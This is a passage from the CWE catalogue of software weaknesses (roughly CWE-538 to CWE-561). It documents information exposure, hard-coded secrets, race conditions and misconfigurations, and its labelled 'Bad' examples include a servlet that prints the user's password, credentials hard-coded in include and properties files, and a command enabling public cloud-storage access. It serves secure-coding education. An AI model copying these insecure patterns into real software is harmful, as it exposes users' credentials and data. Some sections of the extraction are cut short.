         System.err.println("Input file has not been set, call setInputFile method before calling readInputFile");
      } catch (FileNotFoundException ex) {...}
   }
}
```

However, the error message output to the user contains information regarding the default directory on the local file system. This information can be exploited and may lead to unauthorized access or use of the system. Any Java RuntimeExceptions that are handled should not expose sensitive information to the user.

Example 2:

In the example below, the BankManagerLoginServlet servlet class will process a login request to determine if a user is authorized to use the BankManager Web service. The doPost method will retrieve the username and password from the servlet request and will determine if the user is authorized. If the user is authorized the servlet will go to the successful login page. Otherwise, the

servlet will raise a FailedLoginException and output the failed login message to the error page of the service.

Example Language: Java *(Bad)*

```
public class BankManagerLoginServlet extends HttpServlet {
  protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException,
  IOException {
    try {
      // Get username and password from login page request
      String username = request.getParameter("username");
      String password = request.getParameter("password");
      // Authenticate user
      BankManager bankMgr = new BankManager();
      boolean isAuthentic = bankMgr.authenticateUser(username, password);
      // If user is authenticated then go to successful login page
      if (isAuthentic) {
        request.setAttribute("login", new String("Login Successful."));
        getServletContext().getRequestDispatcher("/BankManagerServiceLoggedIn.jsp"). forward(request, response);
      }
      else {
        // Otherwise, raise failed login exception and output unsuccessful login message to error page
        throw new FailedLoginException("Failed Login for user " + username + " with password " + password);
      }
    } catch (FailedLoginException ex) {
      // output failed login message to error page
      request.setAttribute("error", new String("Login Error"));
      request.setAttribute("message", ex.getMessage());
      getServletContext().getRequestDispatcher("/ErrorPage.jsp").forward(request, response);
    }
  }
```

However, the output message generated by the FailedLoginException includes the user-supplied password. Even if the password is erroneous, it is probably close to the correct password. Since it is printed to the user's page, anybody who can see the screen display will be able to see the password. Also, if the page is cached, the password might be written to disk.

MemberOf	C	1417	Comprehensive Categorization: Sensitive Information Exposure	1400	2585

Notes

Maintenance

Depending on usage, this could be a weakness or a category. Further study of all its children is needed, and the entire sub-tree may need to be clarified. The current organization is based primarily on the exposure of sensitive information as a consequence, instead of as a primary weakness.

Maintenance

There is a close relationship with CWE-552, which is more focused on weaknesses. As a result, it may be more appropriate to convert CWE-538 to a category.

CWE-539: Use of Persistent Cookies Containing Sensitive Information

Weakness ID : 539
Structure : Simple
Abstraction : Variant

Description

The web application uses persistent cookies, but the cookies contain sensitive information.

Extended Description

Cookies are small bits of data that are sent by the web application but stored locally in the browser. This lets the application use the cookie to pass information between pages and store variable information. The web application controls what information is stored in a cookie and how it is used. Typical types of information stored in cookies are session identifiers, personalization and customization information, and in rare cases even usernames to enable automated logins. There are two different types of cookies: session cookies and persistent cookies. Session cookies just live in the browser's memory and are not stored anywhere, but persistent cookies are stored on

the browser's hard drive. This can cause security and privacy issues depending on the information stored in the cookie and how it is accessed.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-540: Inclusion of Sensitive Information in Source Code

Weakness ID : 540
Structure : Simple
Abstraction : Base

Description

Source code on a web server or repository often contains sensitive information and should generally not be accessible to users.

Extended Description

There are situations where it is critical to remove source code from an area or server. For example, obtaining Perl source code on a system allows an attacker to understand the logic of the script and extract extremely useful information such as code bugs or logins and passwords.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	

Potential Mitigations

Phase: Architecture and Design

Phase: System Configuration

Recommendations include removing this script from the web server and moving it to a location not accessible from the Internet.

Demonstrative Examples

Example 1:

The following code uses an include file to store database credentials:

database.inc

Example Language: PHP *(Bad)*

```
<?php
$dbName = 'usersDB';
$dbPassword = 'skjdh#67nkjd3$3$';
?>
```

login.php

Example Language: PHP *(Bad)*

```
<?php
include('database.inc');
```

```
$db = connectToDB($dbName, $dbPassword);
$db.authenticateUser($username, $password);
?>
```

If the server does not have an explicit handler set for .inc files it may send the contents of database.inc to an attacker without pre-processing, if the attacker requests the file directly. This will expose the database name and password.

Example 2:

The following comment, embedded in a JSP, will be displayed in the resulting HTML output.

Example Language: JSP *(Bad)*

```
<!-- FIXME: calling this with more than 30 args kills the JDBC server -->
```

Observed Examples

Reference	Description
CVE-2022-25512	Server for Team Awareness Kit (TAK) application includes sensitive tokens in the JavaScript source code. *https://www.cve.org/CVERecord?id=CVE-2022-25512*
CVE-2022-24867	The LDAP password might be visible in the html code of a rendered page in an IT Asset Management tool. *https://www.cve.org/CVERecord?id=CVE-2022-24867*
CVE-2007-6197	Version numbers and internal hostnames leaked in HTML comments. *https://www.cve.org/CVERecord?id=CVE-2007-6197*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	711	2376
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	2437
MemberOf	C	1345	OWASP Top Ten 2021 Category A01:2021 - Broken Access Control	1344	2524
MemberOf	C	1417	Comprehensive Categorization: Sensitive Information Exposure	1400	2585

CWE-541: Inclusion of Sensitive Information in an Include File

Weakness ID : 541
Structure : Simple
Abstraction : Variant

Description

If an include file source is accessible, the file can contain usernames and passwords, as well as sensitive information pertaining to the application and system.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	540	Inclusion of Sensitive Information in Source Code	1262

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	

Potential Mitigations

Phase: Architecture and Design

Do not store sensitive information in include files.

Phase: Architecture and Design

Phase: System Configuration

Protect include files from being exposed.

Demonstrative Examples

Example 1:

The following code uses an include file to store database credentials:

database.inc

Example Language: PHP *(Bad)*

```
<?php
$dbName = 'usersDB';
$dbPassword = 'skjdh#67nkjd3$3$';
?>
```

login.php

Example Language: PHP *(Bad)*

```
<?php
include('database.inc');
$db = connectToDB($dbName, $dbPassword);
$db.authenticateUser($username, $password);
?>
```

If the server does not have an explicit handler set for .inc files it may send the contents of database.inc to an attacker without pre-processing, if the attacker requests the file directly. This will expose the database name and password.

MemberOf Relationships

MemberOf	C	1417	Comprehensive Categorization: Sensitive Information Exposure	1400	2585

CWE-543: Use of Singleton Pattern Without Synchronization in a Multithreaded Context

Weakness ID : 543
Structure : Simple
Abstraction : Variant

Description

The product uses the singleton pattern when creating a resource within a multithreaded environment.

Extended Description

The use of a singleton pattern may not be thread-safe.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	820	Missing Synchronization	1733

Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)

Nature	Type	ID	Name	Page
ChildOf	C	662	Improper Synchronization	1460

Relevant to the view "CISQ Data Protection Measures" (CWE-1340)

Nature	Type	ID	Name	Page
ChildOf	C	662	Improper Synchronization	1460

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Other	
Integrity	Modify Application Data	

Potential Mitigations

Phase: Architecture and Design

Use the Thread-Specific Storage Pattern. See References.

Phase: Implementation

Do not use member fields to store information in the Servlet. In multithreading environments, storing user data in Servlet member fields introduces a data access race condition.

Phase: Implementation

Avoid using the double-checked locking pattern in language versions that cannot guarantee thread safety. This pattern may be used to avoid the overhead of a synchronized call, but in certain versions of Java (for example), this has been shown to be unsafe because it still introduces a race condition (CWE-209).

Effectiveness = Limited

Demonstrative Examples

Example 1:

This method is part of a singleton pattern, yet the following singleton() pattern is not thread-safe. It is possible that the method will create two objects instead of only one.

Example Language: Java *(Bad)*

```
private static NumberConverter singleton;
public static NumberConverter get_singleton() {
   if (singleton == null) {
      singleton = new NumberConverter();
   }
   return singleton;
}
```

Consider the following course of events:

- Thread A enters the method, finds singleton to be null, begins the NumberConverter constructor, and then is swapped out of execution.
- Thread B enters the method and finds that singleton remains null. This will happen if A was swapped out during the middle of the constructor, because the object reference is not set to point at the new object on the heap until the object is fully initialized.
- Thread B continues and constructs another NumberConverter object and returns it while exiting the method.
- Thread A continues, finishes constructing its NumberConverter object, and returns its version.

At this point, the threads have created and returned two different objects.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

CWE-544: Missing Standardized Error Handling Mechanism

Weakness ID : 544
Structure : Simple
Abstraction : Base

Description

The product does not use a standardized method for handling errors throughout the code, which might introduce inconsistent error handling and resultant weaknesses.

Extended Description

If the product handles error messages individually, on a one-by-one basis, this is likely to result in inconsistent error handling. The causes of errors may be lost. Also, detailed information about the causes of an error may be unintentionally returned to the user.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-546: Suspicious Comment

Weakness ID : 546
Structure : Simple
Abstraction : Variant

Description

The code contains comments that suggest the presence of bugs, incomplete functionality, or weaknesses.

Extended Description

Many suspicious comments, such as BUG, HACK, FIXME, LATER, LATER2, TODO, in the code indicate missing security functionality and checking. Others indicate code problems that programmers should fix, such as hard-coded variables, error handling, not using stored procedures, and performance issues.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	1078	Inappropriate Source Code Style or Formatting	1933
PeerOf	V	615	Inclusion of Sensitive Information in Source Code Comments	1386

Weakness Ordinalities

Indirect :

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation *Suspicious comments could be an indication that there are problems in the source code that may need to be fixed and is an indication of poor quality. This could lead to further bugs and the introduction of weaknesses.*	

Potential Mitigations

Phase: Documentation

Remove comments that suggest the presence of bugs, incomplete functionality, or weaknesses, before deploying the application.

Demonstrative Examples

Example 1:

The following excerpt demonstrates the use of a suspicious comment in an incomplete code block that may have security repercussions.

Example Language: Java *(Bad)*

```
if (user == null) {
   // TODO: Handle null user condition.
}
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	2437
MemberOf	C	1412	Comprehensive Categorization: Poor Coding Practices	1400	2575

CWE-547: Use of Hard-coded, Security-relevant Constants

Weakness ID : 547
Structure : Simple
Abstraction : Base

Description

The product uses hard-coded constants instead of symbolic names for security-critical values, which increases the likelihood of mistakes during code maintenance or security policy change.

Extended Description

If the developer does not find all occurrences of the hard-coded constants, an incorrect policy decision may be made if one of the constants is not changed. Making changes to these values will require code changes that may be difficult or impossible once the system is released to the field. In addition, these hard-coded values may become available to attackers if the code is ever disclosed.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	G	1078	Inappropriate Source Code Style or Formatting	1933

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1006	Bad Coding Practices	2459

Weakness Ordinalities

Indirect :

Common Consequences

Scope	Impact	Likelihood
Other	Varies by Context Quality Degradation	

Scope	Impact	Likelihood
	The existence of hardcoded constants could cause unexpected behavior and the introduction of weaknesses during code maintenance or when making changes to the code if all occurrences are not modified. The use of hardcoded constants is an indication of poor quality.	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

Avoid using hard-coded constants. Configuration files offer a more flexible solution.

Demonstrative Examples

Example 1:

The usage of symbolic names instead of hard-coded constants is preferred.

The following is an example of using a hard-coded constant instead of a symbolic name.

Example Language: C *(Bad)*

```
char buffer[1024];
...
fgets(buffer, 1024, stdin);
```

If the buffer value needs to be changed, then it has to be altered in more than one place. If the developer forgets or does not find all occurrences, in this example it could lead to a buffer overflow.

Example Language: C *(Good)*

```
enum { MAX_BUFFER_SIZE = 1024 };
...
char buffer[MAX_BUFFER_SIZE];
...
fgets(buffer, MAX_BUFFER_SIZE, stdin);
```

In this example the developer will only need to change one value and all references to the buffer size are updated, as a symbolic name is used instead of a hard-coded constant.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

CWE-548: Exposure of Information Through Directory Listing

Weakness ID : 548
Structure : Simple
Abstraction : Variant

Description

The product inappropriately exposes a directory listing with an index of all the resources located inside of the directory.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	497	Exposure of Sensitive System Information to an Unauthorized Control Sphere	1203

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories *Exposing the contents of a directory can lead to an attacker gaining access to source code or providing useful information for the attacker to devise exploits, such as creation times of files or any information that may be encoded in file names. The directory listing may also compromise private or confidential data.*	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Phase: System Configuration

Recommendations include restricting access to important directories or files by adopting a need to know requirement for both the document and server root, and turning off features such as Automatic Directory Listings that could expose private files and provide information that could be utilized by an attacker when formulating or conducting an attack.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

CWE-550: Server-generated Error Message Containing Sensitive Information

Weakness ID : 550
Structure : Simple
Abstraction : Variant

Description

Certain conditions, such as network failure, will cause a server error message to be displayed.

Extended Description

While error messages in and of themselves are not dangerous, per se, it is what an attacker can glean from them that might cause eventual problems.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	209	Generation of Error Message Containing Sensitive Information	540

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1016	Limit Exposure	2468

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	

Potential Mitigations

Phase: Architecture and Design

Phase: System Configuration

Recommendations include designing and adding consistent error handling mechanisms which are capable of handling any user input to your web application, providing meaningful detail to end-users, and preventing error messages that might provide information useful to an attacker from being displayed.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	2437
MemberOf	C	1417	Comprehensive Categorization: Sensitive Information Exposure	1400	2585

CWE-551: Incorrect Behavior Order: Authorization Before Parsing and Canonicalization

Weakness ID : 551
Structure : Simple
Abstraction : Base

Description

If a web server does not fully parse requested URLs before it examines them for authorization, it may be possible for an attacker to bypass authorization protection.

Extended Description

For instance, the character strings /./ and / both mean current directory. If /SomeDirectory is a protected directory and an attacker requests /./SomeDirectory, the attacker may be able to gain access to the resource if /./ is not converted to / before the authorization check is performed.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	696	Incorrect Behavior Order	1539
ChildOf	C	863	Incorrect Authorization	1800

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1011	Authorize Actors	2462

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1212	Authorization Errors	2513
MemberOf	C	438	Behavioral Problems	2364

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	

Potential Mitigations

Phase: Architecture and Design

URL Inputs should be decoded and canonicalized to the application's current internal representation before being validated and processed for authorization. Make sure that your application does not decode the same input twice. Such errors could be used to bypass allowlist schemes by introducing dangerous inputs after they have been checked.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

MemberOf	C	1396	Comprehensive Categorization: Access Control	1400	2556

CWE-552: Files or Directories Accessible to External Parties

Weakness ID : 552
Structure : Simple
Abstraction : Base

Description

The product makes files or directories accessible to unauthorized actors, even though they should not be.

Extended Description

Web servers, FTP servers, and similar servers may store a set of files underneath a "root" directory that is accessible to the server's users. Applications may store sensitive files underneath this root

without also using access control to limit which users may request those files, if any. Alternately, an application might package multiple files or directories into an archive file (e.g., ZIP or tar), but the application might not exclude sensitive files that are underneath those directories.

In cloud technologies and containers, this weakness might present itself in the form of misconfigured storage accounts that can be read or written by a public or anonymous user.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Phase: System Configuration

Phase: Operation

When storing data in the cloud (e.g., S3 buckets, Azure blobs, Google Cloud Storage, etc.), use the provider's controls to disable public access.

Demonstrative Examples

Example 1:

The following Azure command updates the settings for a storage account:

Example Language: Shell *(Bad)*

```
az storage account update --name <storage-account> --resource-group <resource-group> --allow-blob-public-access true
```

However, "Allow Blob Public Access" is set to true, meaning that anonymous/public users can access blobs.

The command could be modified to disable "Allow Blob Public Access" by setting it to false.

Example Language: Shell *(Good)*

```
az storage account update --name <storage-account> --resource-group <resource-group> --allow-blob-public-access false
```

Example 2:

The following Google Cloud Storage command gets the settings for a storage account named 'BUCKET_NAME':

Example Language: Shell *(Informative)*

```
gsutil iam get gs://BUCKET_NAME
```

Suppose the command returns the following result:

Example Language: JSON *(Bad)*

```
{
  "bindings":[{
    "members":[
      "projectEditor: PROJECT-ID",
      "projectOwner: PROJECT-ID"
    ],
    "role":"roles/storage.legacyBucketOwner"
  },
  {
    "members":[
      "allUsers",
      "projectViewer: PROJECT-ID"
      ],
```

```
        "role":"roles/storage.legacyBucketReader"
      }
    ]
}
```

This result includes the "allUsers" or IAM role added as members, causing this policy configuration to allow public access to cloud storage resources. There would be a similar concern if "allAuthenticatedUsers" was present.

The command could be modified to remove "allUsers" and/or "allAuthenticatedUsers" as follows:

Example Language: Shell *(Good)*

```
gsutil iam ch -d allUsers gs://BUCKET_NAME
gsutil iam ch -d allAuthenticatedUsers gs://BUCKET_NAME
```

Observed Examples

CWE-553: Command Shell in Externally Accessible Directory

Weakness ID : 553
Structure : Simple
Abstraction : Variant

Description

A possible shell file exists in /cgi-bin/ or other accessible directories. This is extremely dangerous and can be used by an attacker to execute commands on the web server.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	552	Files or Directories Accessible to External Parties	1276

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability	Execute Unauthorized Code or Commands	

Potential Mitigations

Phase: Installation

Phase: System Configuration

Remove any Shells accessible under the web root folder and children directories.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page

CAPEC-ID	Attack Pattern Name
650	Upload a Web Shell to a Web Server

CWE-554: ASP.NET Misconfiguration: Not Using Input Validation Framework

Weakness ID : 554
Structure : Simple
Abstraction : Variant

Description

The ASP.NET application does not use an input validation framework.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	1173	Improper Use of Validation Framework	1984

Weakness Ordinalities

Indirect :

Applicable Platforms

Language : ASP.NET *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State *Unchecked input leads to cross-site scripting, process control, and SQL injection vulnerabilities, among others.*	

Potential Mitigations

Phase: Architecture and Design

Use the ASP.NET validation framework to check all program input before it is processed by the application. Example uses of the validation framework include checking to ensure that: Phone number fields contain only valid characters in phone numbers Boolean values are only "T" or "F" Free-form strings are of a reasonable length and composition

MemberOf Relationships

CWE-555: J2EE Misconfiguration: Plaintext Password in Configuration File

Weakness ID : 555
Structure : Simple
Abstraction : Variant

Description

The J2EE application stores a plaintext password in a configuration file.

Extended Description

Storing a plaintext password in a configuration file allows anyone who can read the file to access the password-protected resource, making it an easy target for attackers.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	260	Password in Configuration File	636

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	

Potential Mitigations

Phase: Architecture and Design

Do not hardwire passwords into your software.

Phase: Architecture and Design

Use industry standard libraries to encrypt passwords before storage in configuration files.

Demonstrative Examples

Example 1:

Below is a snippet from a Java properties file in which the LDAP server password is stored in plaintext.

Example Language: Java *(Bad)*

```
webapp.ldap.username=secretUsername
webapp.ldap.password=secretPassword
```

MemberOf Relationships

MemberOf	C	1396	Comprehensive Categorization: Access Control	1400	2556

CWE-556: ASP.NET Misconfiguration: Use of Identity Impersonation

Weakness ID : 556
Structure : Simple
Abstraction : Variant

Description

Configuring an ASP.NET application to run with impersonated credentials may give the application unnecessary privileges.

Extended Description

The use of impersonated credentials allows an ASP.NET application to run with either the privileges of the client on whose behalf it is executing or with arbitrary privileges granted in its configuration.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	266	Incorrect Privilege Assignment	646

Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity	

Potential Mitigations

Phase: Architecture and Design

Use the least privilege principle.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	723	OWASP Top Ten 2004 Category A2 - Broken Access Control	711	2372
MemberOf	C	731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	711	2376
MemberOf	C	951	SFP Secondary Cluster: Insecure Authentication Policy	888	2433
MemberOf	C	1396	Comprehensive Categorization: Access Control	1400	2556

CWE-558: Use of getlogin() in Multithreaded Application

Weakness ID : 558
Structure : Simple
Abstraction : Variant

Description

The product uses the getlogin() function in a multithreaded context, potentially causing it to return incorrect values.

Extended Description

The getlogin() function returns a pointer to a string that contains the name of the user associated with the calling process. The function is not reentrant, meaning that if it is called from another process, the contents are not locked out and the value of the string can be changed by another process. This makes it very risky to use because the username can be changed by other processes, so the results of the function cannot be trusted.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	663	Use of a Non-reentrant Function in a Concurrent Context	1464

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data	
Access Control	Bypass Protection Mechanism	
Other	Other	

Potential Mitigations

Phase: Architecture and Design

Using names for security purposes is not advised. Names are easy to forge and can have overlapping user IDs, potentially causing confusion or impersonation.

Phase: Implementation

Use getlogin_r() instead, which is reentrant, meaning that other processes are locked out from changing the username.

Demonstrative Examples

Example 1:

The following code relies on getlogin() to determine whether or not a user is trusted. It is easily subverted.

Example Language: C *(Bad)*

```
pwd = getpwnam(getlogin());
if (isTrustedGroup(pwd->pw_gid)) {
   allow();
} else {
   deny();
}
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Often Misused: Authentication
Software Fault Patterns	SFP3		Use of an improper API

CWE-560: Use of umask() with chmod-style Argument

Weakness ID : 560
Structure : Simple
Abstraction : Variant

Description

The product calls umask() with an incorrect argument that is specified as if it is an argument to chmod().

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	V	687	Function Call With Incorrectly Specified Argument Value	1522

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories	
Integrity	Modify Files or Directories	
Access Control	Bypass Protection Mechanism	

Potential Mitigations

Phase: Implementation

Use umask() with the correct argument.

Phase: Testing

If you suspect misuse of umask(), you can use grep to spot call instances of umask().

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	946	SFP Secondary Cluster: Insecure Resource Permissions	888	2431
MemberOf	C	1412	Comprehensive Categorization: Poor Coding Practices	1400	2575

Notes

Other

Some umask() manual pages begin with the false statement: "umask sets the umask to mask & 0777" Although this behavior would better align with the usage of chmod(), where the user

provided argument specifies the bits to enable on the specified file, the behavior of umask() is in fact opposite: umask() sets the umask to ~mask & 0777. The documentation goes on to describe the correct usage of umask(): "The umask is used by open() to set initial file permissions on a newly-created file. Specifically, permissions in the umask are turned off from the mode argument to open(2) (so, for example, the common umask default value of 022 results in new files being created with permissions 0666 & ~022 = 0644 = rw-r--r-- in the usual case where the mode is specified as 0666)."

CWE-561: Dead Code

Weakness ID : 561
Structure : Simple
Abstraction : Base

Description

The product contains dead code, which can never be executed.

Extended Description

Dead code is code that can never be executed in a running program. The surrounding code makes it impossible for a section of code to ever be executed.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1006	Bad Coding Practices	2459

Weakness Ordinalities

Indirect :

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation *Dead code that results from code that can never be executed is an indication of problems with the source code that needs to be fixed and is an indication of poor quality.*	
